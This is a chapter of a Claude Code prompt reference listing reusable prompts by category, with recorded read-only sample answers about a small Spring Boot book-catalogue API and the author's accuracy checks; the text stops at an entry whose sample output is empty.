Claude Β· 15 Β· Part 8 Β· Hands-On Prompts

The Prompt Library

Most people do not struggle with Claude Code's features. They struggle with the blank prompt box. This chapter is a reference of 73 short, reusable sentences in 13 categories (audience, control, exploration, thinking, verification, roles, formats, debugging, refactoring, tests, docs, learning). Each one says when to use it, what to watch out for, and which other prompts it combines with. 29 of them come with a real answer: a prompt that was run through Claude Code on a real Spring Boot project, with the model, turns and cost recorded and an honest note on whether the answer was right.

73
Prompts
13
Categories
29
Real samples
Information current as of: 2026-10-31. Samples were produced with Claude Code 2.1.314 and model claude-sonnet-5-5. The model, the version and the project change; an answer you get will differ.
01
Before You Start

Prompts Are Building Blocks

A prompt like "Explain this like I'm a novice developer" is not a trick. It sets who the answer is for. Other short sentences set what Claude may touch, what shape the answer takes, and how to prove it. Real requests combine four or five of them, one per line. That is the whole idea of this library: learn the pieces once, then combine them.

One request, built from blocks
Audiencewho is it for Controlwhat may change Taskwhat you want Formatshape of answer Verifyhow to prove it one prompt, one per line

A tiny example. These three library prompts, joined with the task, give you a safe, plain-language exploration. This text is a combination for illustration; the real run of a similar combination appears in Chapter 16.

Combined prompt (illustrative)
Read only. Do not change any files. Explain how a request reaches the database in this project like I'm a novice developer. Answer as a table with the columns: step, file, what happens. List what you verified yourself and what you are only assuming.

How to read an entry

  • The prompt uses {placeholders} in curly braces. Replace them with your own words.
  • Use when / Watch out say where it helps and where it misleads.
  • Combine with links to prompts that pair well with it.
  • Real sample (when present) shows the exact prompt sent, the answer, and metadata: model, turns, time, estimated cost, and the project commit it ran against. Costs are Claude Code's client-side estimates, not an invoice.
  • Author's check says whether I verified the answer against the code. Green means checked, amber means partly correct, red means it contained errors. "Not fact-checked" means exactly that.
These are single runs, not benchmarks. Each sample ran once, in read-only mode (Read, Grep and Glob only, at most 8 turns and $0.50). A different run, model or project gives a different answer. The samples show the shape of what comes back, including the mistakes.
02
The Reference

73 Prompts in 13 Categories

Filter by typing, or pick a category. Use the copy button on a prompt to paste it into Claude Code. Open "Real sample" to see what came back.

Audience and level 6

Tell Claude who the answer is for. The same facts come out very differently for a ten-year-old, a novice or a senior engineer.

AUD-01Like a novice developerreal sample
Explain {thing} like I'm a novice developer.

Use when: You are new to the language, framework or codebase and want plain words without jargon.

Watch out: 'Novice' is relative. Add what you already know: 'I know Python but not Java'.

Combine with: CTL-01 EXP-01

Real sample: what Claude answered (Partly correct)
Prompt as sent
Explain how this project handles a request for one book like I'm a novice developer.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 9 turns Β· 18.7s Β· est. $0.103 Β· project commit f23d2f5
When someone asks for one book, for example `GET /api/books/7`, the request passes through four small pieces of code. Each piece does one job. ## The journey of `GET /api/books/7` **1. The Controller (`BookController.java:35`) takes the request.** ```java @GetMapping("/{id}") public BookDto get(@PathVariable long id) { return service.findById(id); } ``` - The class is marked `@RequestMapping("/api/books")`, and the method is marked `@GetMapping("/{id}")`. Together they mean "handle GET requests to `/api/books/<something>`." - `@PathVariable` takes the `7` from the URL and gives it to the method as `id`. - The controller only receives the request and passes it on. It doesn't contain any book logic. **2. The Service (`BookService.java:29`) does the work.** ```java return books.findById(id).map(BookDto::from).orElseThrow(() -> new BookNotFoundException(id)); ``` Read it left to right: - `books.findById(id)` asks the database for book 7. The result might be empty, so Java wraps it in an `Optional` (a box that may or may not hold a book). - `.map(BookDto::from)` runs only if a book was found. It turns the database object into a DTO (see step 4). - `.orElseThrow(...)` runs only if the box was empty. It throws `BookNotFoundException`. The method is marked `@Transactional(readOnly = true)`. This opens a database session for the duration of the method. The session is read-only, so this method can't change any data. **3. The Repository (`BookRepository.java`) talks to the database.** `BookRepository` has no `findById` method in its code. It gets one by extending `JpaRepository<Book, Long>`, and Spring Data JPA writes the SQL for you. The `Long` is the type of a book's ID. **4. The DTO (`BookDto.java`) shapes the answer.** ```java record BookDto(Long id, String title, String author, int year) ``` The database object (`Book`) holds a full `Author` object. The DTO flattens that to just the author's name. This keeps the JSON simple, and it keeps your database structure out of the public API. Spring then converts the DTO to JSON automatically. ## What if the book doesn't exist? The exception thrown in step 2 travels back up toward the controller. `ApiExceptionHandler` (`@RestControllerAdvice`) catches it: ```java @ExceptionHandler(BookNotFoundException.class) ProblemDetail notFound(...) β†’ HTTP 404 with the message ``` So the client gets a clean **404 Not Found** instead of a crash or a 500 error. This handler covers every controller, so it only needs to exist once. ## The flow at a glance ``` Browser β†’ BookController β†’ BookService β†’ BookRepository β†’ Database β”‚ Browser ← JSON ← BookDto β†β”€β”€β”€β”€β”˜ (missing? β†’ ApiExceptionHandler β†’ 404) ``` ## One detail for later `Book.author` is loaded lazily (`FetchType.LAZY`). That means the author is fetched from the database only when something first reads it. In the single-book lookup, that happens inside `BookDto.from`, which runs inside the service's transaction, so it works. The list and search queries use `@EntityGraph(attributePaths = "author")` to load authors in the same query. For one book there's no loop, so a second small query is fine. I only read the code and didn't run the app.
Author's check: Partly correct. The cited BookController.java:35 is the @GetMapping("/{id}") line, as claimed. BookService.java:28/29 is off by one line (it points at @Transactional, not findById).
AUD-02Like I'm 10real sample
Explain {thing} like I'm 10 years old, using an everyday analogy.

Use when: You want the core idea first, before any technical detail. Good for new concepts.

Watch out: Analogies simplify and can mislead. Follow with AUD-01 or AUD-04 for the accurate version.

Combine with: AUD-04

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Explain what a REST API is like I'm 10 years old, using an everyday analogy.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 5.4s Β· est. $0.036 Β· project commit f23d2f5
Imagine a restaurant. **You** are the customer sitting at a table. **The kitchen** is where all the food (the data) is stored and made. You can't just walk into the kitchen and grab things, so you need a **waiter**. The waiter is the REST API. **How it works:** 1. **You look at the menu.** The menu lists what you're allowed to ask for. In an API, these are called *endpoints*, like "/pizzas" or "/drinks". 2. **You tell the waiter what you want.** This is called a *request*. There are a few kinds: - **GET**: "Can I see the pizzas, please?" (just looking) - **POST**: "I'd like to order a new pizza." (adding something) - **PUT**: "Actually, change my order to a bigger pizza." (updating something) - **DELETE**: "Cancel my pizza order." (removing something) 3. **The waiter goes to the kitchen and comes back.** This is the *response*. It might be your food, or it might be "Sorry, we're out of pineapple!" (an error). **Why it's useful:** Everyone uses the same menu and the same way of talking to the waiter. So a phone app, a website, and a game can all order from the same kitchen without knowing how the kitchen works inside. **The "REST" part** is just the set of polite rules for the waiter: always say clearly what you want, and don't expect the waiter to remember your last visit. Every order has to include all the details, like "Table 5 wants a pepperoni pizza." So: a REST API is a waiter that carries your requests to a kitchen full of data and brings back the answer.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
AUD-03Map to what I know
I know {known} well but {unknown} not at all. Explain {thing} by mapping it to what I already know, and say where the analogy breaks.

Use when: You are switching languages or stacks and want a bridge, not a beginner course.

Watch out: Always ask where the analogy breaks; that is where the bugs are.

Combine with: VER-03

AUD-04Three-sentence version first
Give me the 3-sentence version first, then the detailed version.

Use when: You are not sure how deep you need to go. You get a quick answer and can stop reading.

Watch out:

Combine with: AUD-01

AUD-05Two minutes, senior
Explain {thing} for a senior engineer with two minutes: only what is surprising, risky or non-obvious.

Use when: You are experienced and the beginner explanation would waste your time.

Watch out:

Combine with: THK-03

AUD-06Three audiencesreal sample
Explain {thing} three ways: for a beginner, for a teammate and for a manager. Label each.

Use when: You must explain something to different people, or you want to see how the level changes the wording.

Watch out: Check that the manager version didn't lose a risk the teammate version mentions.

Combine with: MET-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Explain what this project does three ways: for a beginner, for a teammate and for a manager. Label each.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 7 turns Β· 17.3s Β· est. $0.100 Β· project commit f23d2f5
## Bookshelf, explained three ways **For a beginner** Bookshelf is a small web program that keeps a catalogue of books, like a digital library card index. Other programs talk to it over the internet, and it answers. You can ask it for: - the full list of books - one book by its number - books whose title contains a word you type - a count of how many books and authors it holds You can also give it a new book to add. If the details are incomplete, it refuses and says what's wrong. If you ask for a book that doesn't exist, it replies "not found". The data lives only in memory, so it disappears when the program stops. It's a good project for learning how web services are built. **For a teammate** Bookshelf is a Spring Boot 4.1 / Java 21 REST API, built with the Maven wrapper and backed by in-memory H2 through JPA. `Book` and `Author` are the entities, and `DataSeeder` loads sample data at startup. Endpoints: - `GET /api/books` lists books. - `GET /api/books/{id}` returns one book, or a 404. - `GET /api/books/search?title=` searches by title. - `POST /api/books` creates a book. The request is validated through `CreateBookRequest`, and a successful create returns 201. - `GET /api/stats` returns `{books, authors}` counts. The layers are controller β†’ `BookService` β†’ repositories. Controllers return DTO records and never JPA entities. Errors come out as `ProblemDetail` from `ApiExceptionHandler`, with no try/catch in controllers. Two gotchas: - `BookQueryCountTest` requires that listing books runs exactly one SQL statement, so avoid N+1 queries. - The column is `publication_year`, because H2 rejects `year`. Run it with `./mvnw spring-boot:run` (port 8080) and test it with `./mvnw -B test`. The repo also has Claude tooling: a CI review workflow, verification scripts, a SQL-reviewer agent, a hook that blocks destructive commands, and `feature_list.json` to track progress. **For a manager** Bookshelf is a working backend service for managing a book catalogue. It's an early-stage prototype, not a production system. Five of the seven planned features are done and passing their automated tests: - list books - get a book by id - create a book with validation - search by title - stats Two remain: **pagination** of the book list and **deleting a book**. Pagination matters most before any real data volume. Data is held in memory only, so a persistent database would be needed before real use. On the process side, the project has automated tests, continuous integration with automated code review, and guardrails against destructive commands. Together these keep quality steady as it grows. I read `CLAUDE.md`, `feature_list.json` and the two controllers. I didn't run the app or the tests, and Bash was denied in this session. The "five of seven passing" status comes from the feature list, not from a test run.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.

Control and safety 5

Decide what Claude may touch and when it must stop and ask. Put these first when the task could change files.

CTL-01Read only
Read only. Do not change any files.

Use when: Any exploring, explaining or reviewing task. Say it every time until it is habit.

Watch out: This is a request. For a guarantee use plan mode, read-only permissions or a deny rule.

Combine with: EXP-01 AUD-01

CTL-02Plan, then wait
Before you change anything, tell me your plan and wait for my approval.

Use when: Multi-file changes, anything you will want to review before it happens.

Watch out: In plan mode (Shift+Tab) this is enforced rather than requested.

Combine with: THK-01

CTL-03Interview me firstreal sample
Ask me up to 5 questions, one at a time, until you could write the spec for {goal}. Then stop and wait.

Use when: You know the goal but not the details. Claude finds the gaps.

Watch out: Cap the number of questions or it will keep asking.

Combine with: CTL-02

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Ask me up to 5 questions, one at a time, until you could write the spec for adding a delete endpoint for books. Then stop and wait.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 1.9s Β· est. $0.032 Β· project commit f23d2f5
Question 1 of 5: When a client deletes a book that doesn't exist, what should the endpoint return: 404 Not Found, or 204 No Content (treating delete as idempotent)?
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
CTL-04Stay in scope
Change only {files}. If another file needs to change, stop and tell me why.

Use when: You want a small, reviewable diff.

Watch out: Pair with a change-size check (git diff --stat) to confirm.

Combine with: VER-01

CTL-05Don't guess
If you are unsure, say so instead of guessing, and tell me how I could check.

Use when: Anything factual: versions, APIs, behaviour you cannot see in the code.

Watch out: Models can still be confidently wrong. Verify important claims yourself.

Combine with: VER-03

Explore a codebase 5

Learn unfamiliar code quickly and safely. All of these work read-only.

EXP-01Codebase overviewreal sample
Give me an overview of this codebase: its purpose, main folders, entry points and how to run it. Read only.

Use when: First day in any repository.

Watch out: Open two files it names to check the overview.

Combine with: AUD-01 CTL-01

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Give me an overview of this codebase: its purpose, main folders, entry points and how to run it. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 3 turns Β· 14.0s Β· est. $0.086 Β· project commit f23d2f5
# Bookshelf overview **Purpose:** A small REST API for a book catalogue. It uses Spring Boot 4.1.2, Java 21, Spring Data JPA, and an in-memory H2 database. The repo also works as a sandbox for Claude Code tooling: agents, hooks, skills, an MCP server and CI. ## Layout - `src/main/java/com/example/bookshelf/` holds all the application code in one package: - **Web:** `BookController`, `StatsController`, `ApiExceptionHandler` - **Service:** `BookService` - **Persistence:** `Book` and `Author` entities, plus `BookRepository` and `AuthorRepository` - **DTOs and exceptions:** `BookDto`, `CreateBookRequest`, `BookNotFoundException` - **Startup data:** `DataSeeder` - `src/main/resources/application.properties` holds only the app name, so everything else uses Spring defaults. - `src/test/java/...` has five test classes: - `BookControllerTest` - `BookApiIntegrationTest` - `BookSearchTest` - `StatsControllerTest` - `BookQueryCountTest` - `scripts/` has `verify.sh` and `status.sh`. `verify.sh` runs the tests and checks that the change stays within a file-count budget compared with `main`. - `.claude/` holds agent tooling: - the `sql-reviewer` agent - a `block-destructive.sh` hook - the `verify-build` skill (plus an untracked `explain-endpoint` skill) - `settings.json` - `mcp/feature-server.mjs` is an untracked MCP server. It is probably wired up through `.mcp.json` and `feature_list.json`. - `.github/workflows/claude-review.yml` is the CI workflow for Claude reviews. - `CLAUDE.md` holds the project conventions. ## Entry points - **Application:** `BookshelfApplication` (the `main` class). - **HTTP endpoints:** - `GET /api/books` - `GET /api/books/search` - `GET /api/books/{id}` - `POST /api/books` - `GET /api/stats` ## How to run - **Start the app:** `./mvnw spring-boot:run` (serves on port 8080) - **Run all tests:** `./mvnw -B test` - **Run one test class:** `./mvnw -B test -Dtest=BookControllerTest` - **Verification gate:** `scripts/verify.sh [base-ref] [max-files]` ## Conventions and gotchas (from `CLAUDE.md`) - Controllers return DTO records, never JPA entities. - Errors are `ProblemDetail` responses produced in `ApiExceptionHandler`, with no try/catch in controllers. - Avoid SQL reserved words as column names. For example, the `Book` entity uses `publication_year`, because H2 rejects `year`. - `BookQueryCountTest` requires that listing books runs exactly one SQL statement. I didn't open the Java sources, the MCP server or the hooks, so the descriptions of those parts are inferred from file names and `CLAUDE.md`. I changed nothing.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
EXP-02Trace a requestreal sample
Trace what happens when {request} arrives, class by class, naming each file. Read only.

Use when: You need to understand one flow end to end.

Watch out: Ask for file and line so you can check each hop.

Combine with: VER-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Trace what happens when GET /api/books/99 arrives for a book that does not exist, class by class, naming each file. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 7 turns Β· 12.8s Β· est. $0.092 Β· project commit f23d2f5
`GET /api/books/99` for a missing book goes through five classes and ends in a 404. All of them are in `src/main/java/com/example/bookshelf/`. 1. **`BookController.java`** - The request is routed by `@RequestMapping("/api/books")` plus `@GetMapping("/{id}")` (line 35). - `get(@PathVariable long id)` is called with `id = 99` and delegates to `service.findById(99)`. - `/search` is a separate literal mapping, so it does not capture this path. 2. **`BookService.java`** - `findById` (line 29) runs in a read-only transaction. - It calls `books.findById(id)`, which returns an empty `Optional`. `.map(BookDto::from)` is skipped, so `BookDto.from` is never reached. - `.orElseThrow(() -> new BookNotFoundException(id))` then throws. - The exception propagates out of the `@Transactional` proxy. The transaction is read-only, so the rollback has nothing to undo. 3. **`BookRepository.java`** - `findById` is not declared in this file. It is inherited from `JpaRepository<Book, Long>`. - Spring Data's `SimpleJpaRepository` runs `em.find(Book.class, 99)`, which issues a select and finds no row. - It returns `Optional.empty()`. The `@EntityGraph` methods in the interface are not involved. - `Book.java` is the mapped entity for that lookup, and no instance is created. 4. **`BookNotFoundException.java`** - It is a `RuntimeException`, so no `throws` declarations are needed. - Its message is `"Book 99 not found"`. 5. **`ApiExceptionHandler.java`** - It is a `@RestControllerAdvice`. After the controller method throws, `DispatcherServlet`'s exception resolvers find the `@ExceptionHandler(BookNotFoundException.class)` method `notFound`. - That method returns `ProblemDetail.forStatusAndDetail(NOT_FOUND, ex.getMessage())`. - Spring writes it as `application/problem+json` with status 404. The body is roughly: ```json {"type":"about:blank","title":"Not Found","status":404,"detail":"Book 99 not found","instance":"/api/books/99"} ``` I didn't run the app, so the exact JSON is inferred from how Spring renders `ProblemDetail`, not captured from a response.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
EXP-03Where do I change it?real sample
Where would I change {behaviour}? Show the 3 most relevant files and why. Read only.

Use when: Before an edit; finds the right place so you do not guess.

Watch out:

Combine with: CTL-04

Real sample: what Claude answered (Checked)
Prompt as sent
Where would I change the error message returned when a book is not found? Show the 3 most relevant files and why. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 2 turns Β· 6.3s Β· est. $0.056 Β· project commit f23d2f5
Three files matter. The first one is the one to edit. 1. **`src/main/java/com/example/bookshelf/BookNotFoundException.java:6`** is where the message text is built: ```java super("Book " + id + " not found"); ``` Change the wording here if you want it different everywhere. 2. **`src/main/java/com/example/bookshelf/ApiExceptionHandler.java:11-12`** is the `@ExceptionHandler(BookNotFoundException.class)` method `notFound(...)`. It turns the exception into the HTTP 404 `ProblemDetail` response. Change it if you want to alter the response itself, such as the title, the `detail` field, or extra properties. It currently passes the exception's message through. 3. **`src/test/java/com/example/bookshelf/BookControllerTest.java:41`** asserts `jsonPath("$.detail").value("Book 99 not found")`. It will fail if you change the message, so update it to match. `BookService.java:30` is where the exception is thrown (`orElseThrow(() -> new BookNotFoundException(id))`). It only passes the id, so it needs no change unless you want a different message per call site. I didn't modify anything.
Author's check: Checked. Every file and line reference was checked against the code: BookNotFoundException:6, ApiExceptionHandler:11-12, BookControllerTest:41 are correct.
EXP-04Riskiest partsreal sample
What are the riskiest or most confusing parts of this code for a new team member? Rank them. Read only.

Use when: Onboarding, or before a refactor.

Watch out:

Combine with: THK-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What are the riskiest or most confusing parts of this code for a new team member? Rank them. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 14 turns Β· 28.5s Β· est. $0.148 Β· project commit f23d2f5
I read all the main source files, but not the tests or the config under `.claude/`, `.mcp.json` and `mcp/`. The ranking is from reading the code only. I haven't run anything. ## Ranked risks and confusions **1. The lazy `Book.author` and the N+1 trap (highest risk).** - `Book.author` is `FetchType.LAZY` (`Book.java:22`), and `BookDto.from` calls `book.getAuthor().getName()` (`BookDto.java:6`). - The only thing preventing one extra query per book is the `@EntityGraph(attributePaths = "author")` on each repository method (`BookRepository.java:9,12`). - A new query method, such as a year filter, that omits `@EntityGraph` will work in tests and then run N+1 queries in production. - The `BookQueryCountTest` guard in CLAUDE.md covers listing only. As far as I can tell from CLAUDE.md, search and any new endpoints are unprotected. - The two `@Transactional(readOnly = true)` methods matter here too. Mapping to DTOs inside the transaction is what makes lazy loading work at all. If someone moves the mapping into the controller, they'll get a `LazyInitializationException`. **2. `StatsController` skips the service layer.** - It injects repositories directly (`StatsController.java:15`), unlike `BookController`, which goes through `BookService`. - It's a precedent that contradicts the layering, and a new person may copy it. - It also returns a raw `Map<String, Long>` instead of a DTO record, which goes against the "DTO records" convention. **3. Author identity and duplicates.** - `BookService.create` finds an author by exact name or creates one (`BookService.java:35`). - `Author.name` has no unique constraint and no normalization. "Martin Fowler" and "martin fowler " become two authors. - Concurrent POSTs for a new author can also create duplicates, because find-then-save is a race. - This also skews the `/api/stats` author count. **4. `year` vs `publication_year`.** - The field is `year`, the column is `publication_year`, and the DTO and request use `year`. - The reason (H2 rejects `year`) is only in CLAUDE.md. A derived query or native SQL needs the column name, while JPQL and derived queries use the field name, which is easy to get wrong. **5. Error handling is thin and the "no try/catch" rule has little behind it.** - `ApiExceptionHandler` handles only `BookNotFoundException`. - Validation failures (`@Valid`) and a missing `?title=` parameter fall through to Spring's defaults, so their response shapes may differ from your `ProblemDetail` 404s. - I haven't checked how the tests treat these cases. **6. Search semantics.** - `findByTitleContainingIgnoreCase` generates `LIKE %x%`, which can't use an index. - `/search` has no pagination, and neither does the list endpoint. This is fine for 6 seed rows but will cause trouble as the data grows. - An empty `title` matches everything. - `/api/books/search` sits beside `/{id}`. Spring resolves this correctly because the literal path wins, but it reads oddly. **7. Seeding and the in-memory database.** - `DataSeeder` is a `@Configuration` with a `CommandLineRunner` bean, which is an unusual place for it. - It runs in every context, including tests. Counts such as the stats totals or the "exactly 1 statement" assertion therefore depend on the seed data (6 books, 3 authors). - The `books.count() > 0` guard is a leftover from persistent databases. H2 is in-memory (per CLAUDE.md), so the data is wiped on every restart. **8. Minor points.** - `@GeneratedValue` uses the default strategy, so ids come from a shared Hibernate sequence and won't be a clean 1..N. - `application.properties` has only the app name, so everything relies on Spring Boot defaults. - There are no setters on the entities, so updates and deletes need design work first. ## Not covered I did not read `.claude/hooks/block-destructive.sh`, `.mcp.json`, the untracked `mcp/` directory, the CI workflow, or the three test classes. A new team member would likely trip over the hook and MCP setup too, and I can look at those if you want.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
EXP-05Project glossary
Create a glossary of the project-specific terms used in this codebase, with one line each and where each is defined. Read only.

Use when: Domain-heavy code with its own vocabulary.

Watch out:

Combine with: AUD-01

Thinking and decisions 5

Pull out assumptions, options and risks before you commit to an approach.

THK-01List assumptions
List your assumptions before you answer.

Use when: Ambiguous requests. Wrong assumptions are the most common cause of wrong answers.

Watch out:

Combine with: CTL-02

THK-02Three optionsreal sample
Give me 3 options with trade-offs, then recommend one and say why.

Use when: Design and tooling choices.

Watch out: Ask it to include the 'do nothing' option as one of the three.

Combine with: THK-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
I want to add pagination to GET /api/books. Give me 3 options with trade-offs, then recommend one and say why.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 3 turns Β· 13.9s Β· est. $0.079 Β· project commit f23d2f5
`GET /api/books` currently returns a bare `List<BookDto>` from `service.findAll()`. The repository is Spring Data JPA, so every option below builds on that. ## Option 1: Spring Data `Pageable` with a `Page` response (`?page=0&size=20&sort=title`) The controller takes a `Pageable`, the service calls `repo.findAll(pageable)`, and the response is a `Page<BookDto>`. - **Pros:** - It's the least code, and Spring Data does the work. - Sorting comes with it. - Clients get total counts and page numbers, so they can build "page 3 of 12" UIs. - **Cons:** - It runs a `COUNT(*)` query on every request. - Deep pages get slower, because `OFFSET n` scans and discards n rows. - Results can skip or repeat rows if data changes between page requests. - The response changes from a JSON array to an object, which breaks existing clients and tests. ## Option 2: Offset/limit with the list shape preserved (`?offset=0&limit=20`, total count in an `X-Total-Count` header) This is the same mechanism as option 1, but the body stays a JSON array. - **Pros:** - It's backward compatible, so existing callers keep working. - It's simple to explain. - **Cons:** - It has the same deep-offset and consistency problems as option 1. - The header is non-standard, and clients have to know to read it. - You have to map offset to a page yourself, because Spring Data's `PageRequest` is page-based. ## Option 3: Keyset (cursor) pagination (`?after=<id>&limit=20`) The query is `WHERE id > :after ORDER BY id LIMIT :n`, and the response includes a `nextCursor`. - **Pros:** - Performance stays constant at any depth. - It's stable under inserts and deletes. - There's no count query. - **Cons:** - You can't jump to an arbitrary page, and there's no total count unless you add one. - Sorting by anything other than a unique key needs a composite cursor, like `(title, id)`. - It's the most code, and the response shape changes here too. ## Recommendation: Option 1, with a default page size and a size cap Bookshelf is a small CRUD app with a title search and a stats endpoint. Its main realistic need is to avoid dumping the whole table, and `Pageable` handles that with a few lines of code. Keyset pagination only pays off at a scale this app probably won't reach. If it does, you can switch later behind the same endpoint. Two details to get right: - **Page size:** set `spring.data.web.pageable.max-page-size` (for example 100) and a default of 20. Without a cap, `?size=1000000` defeats the purpose. - **Breaking change:** `BookControllerTest` and `BookApiIntegrationTest` call `GET /api/books` and will need updating. If other clients depend on the array shape, use option 2 as a stopgap. Alternatively, put the paged version on a new path or API version. If you want, I can implement option 1, including updating those tests. I can also make `/search` paginated the same way.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
THK-03Top risksreal sample
What could go wrong with {approach}? List the top 5 risks, ranked, with how to detect each.

Use when: Before you commit to a plan or ship a change.

Watch out:

Combine with: THK-04

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What could go wrong with adding pagination to GET /api/books? List the top 5 risks, ranked, with how to detect each.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 4 turns Β· 15.6s Β· est. $0.086 Β· project commit f23d2f5
Your endpoint today is `list()` returning a bare `List<BookDto>`. It is backed by `findAllByOrderByTitle()` with an `@EntityGraph` on `author`. That shapes the risks below, which are ranked by likely impact. ## Top 5 risks **1. Breaking the response contract (highest impact)** - Returning a Spring `Page<BookDto>` changes the body from a JSON array to an object (`{content, totalPages, ...}`). Existing clients break, and so do `BookControllerTest` and `BookApiIntegrationTest`, which assert on the array. - The `mcp/` server and the verification scripts may also consume this endpoint. - **Detect:** - Run the existing tests. They should fail loudly. - Grep for `/api/books` consumers, including `mcp/`, the scripts and the CI workflow. - If you can, keep the old shape by default, for example by paginating only when `page` or `size` is present, or by returning the page metadata in headers. **2. Unstable or non-deterministic ordering** - The sort is `ORDER BY title`, and titles aren't unique. Without a tiebreaker such as `id`, rows with equal titles can move between pages. That produces duplicated or missing books across pages. - **Detect:** - Seed duplicate titles and walk every page. Assert that the union equals the full set with no repeats. - Add this as a test. - Fix it with `Sort.by("title","id")`. **3. Pagination breaking the fetch-join / N+1 behavior** - `@EntityGraph` on a to-one association (`author`) is fine with paging. If `author` or any other association is a collection, Hibernate logs `HHH000104: firstResult/maxResults specified with collection fetch; applying in memory`. It then loads everything and slices in Java, which defeats the purpose. - A `Page` return also triggers an extra `COUNT` query, and the entity graph can make that count query awkward. - **Detect:** - `BookQueryCountTest` already prints the SQL statement count. Extend it to assert on the count for a paged call. - Grep the logs for HHH000104. - Run with `show-sql` against a large seed. **4. Unvalidated or abusive parameters** - `size=1000000` defeats the point of paging. `page=-1`, `size=0`, or `page=abc` can return a 500 instead of a 400. Spring's default max page size is 2000, which is still large. - **Detect:** - Write tests for `size=0`, `size=-1`, a huge `size`, a negative `page`, and non-numeric values. - Expect a 400 or a clamped value. - Set `spring.data.web.pageable.max-page-size` and `default-page-size` explicitly. **5. Inconsistency with `/search` and edge-case behavior** - `/search` still returns an unpaginated list, so the two list endpoints behave differently. Clients that paginate one will assume the other works the same way. - A page past the end should return an empty page with a 200, not a 404 or an error. - Offset pagination can also skip or duplicate rows when books are inserted between page requests. That is acceptable at this scale, but it should be a deliberate choice. - **Detect:** - Test `page` beyond the last page, and an empty table. - Test insert-during-paging. - Review `/search` and `StatsController` for consistency. - Decide up front whether `/search` gets the same parameters. ## Suggested order of work 1. Decide the response shape (risk 1). 2. Add the `id` tiebreaker and the parameter limits (risks 2 and 4). 3. Add tests for the query count and the edge cases (risks 3 and 5). I haven't changed any code. I can implement this with those tests if you want.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
THK-04Argue against yourself
Argue against your own recommendation, then tell me whether you still stand by it.

Use when: After THK-02. Reduces over-confident recommendations.

Watch out:

Combine with: THK-02

THK-05What am I missing?
What am I not asking that I should be asking about {topic}?

Use when: Early in a new area where you do not know what you do not know.

Watch out:

Combine with: MET-02

Verification 4

Make Claude prove its work with commands, tests and honest labels instead of confident summaries.

VER-01Show the evidence
Run {command} and show me the command and its output as evidence.

Use when: After any change. Replaces 'all tests pass' with something you can read.

Watch out: Re-run the command yourself for anything important.

Combine with: CTL-04

VER-02Failing test first
Write a failing test for {behaviour} first. Show that it fails, then fix the code and show it passes.

Use when: Bug fixes and new behaviour. Proves the test can fail.

Watch out: Check the test fails for the right reason, not a typo.

Combine with: VER-01

VER-03Verified vs assumed
List what you verified yourself and what you are only assuming.

Use when: End of any investigation or review.

Watch out:

Combine with: CTL-05

VER-04Break it on purpose
Break the code on purpose in one place, show that a test fails, then undo the change and show that it passes again.

Use when: You do not trust tests that Claude wrote. This checks they can fail.

Watch out: Use a branch or commit first so the undo is safe.

Combine with: VER-01

Meta prompts 5

Prompts about prompts and about the conversation itself: improve your wording, check what is missing, get plain English.

MET-01Improve my promptreal sample
Rewrite my prompt to be clearer and more specific. Show only the improved version. My prompt: {prompt}

Use when: Your prompt got a vague or off-target answer, or English is not your first language.

Watch out: Read the rewrite: it may add assumptions you did not intend.

Combine with: MET-02

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Rewrite my prompt to be clearer and more specific. Show only the improved version. My prompt: make the books faster
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 3.9s Β· est. $0.035 Β· project commit f23d2f5
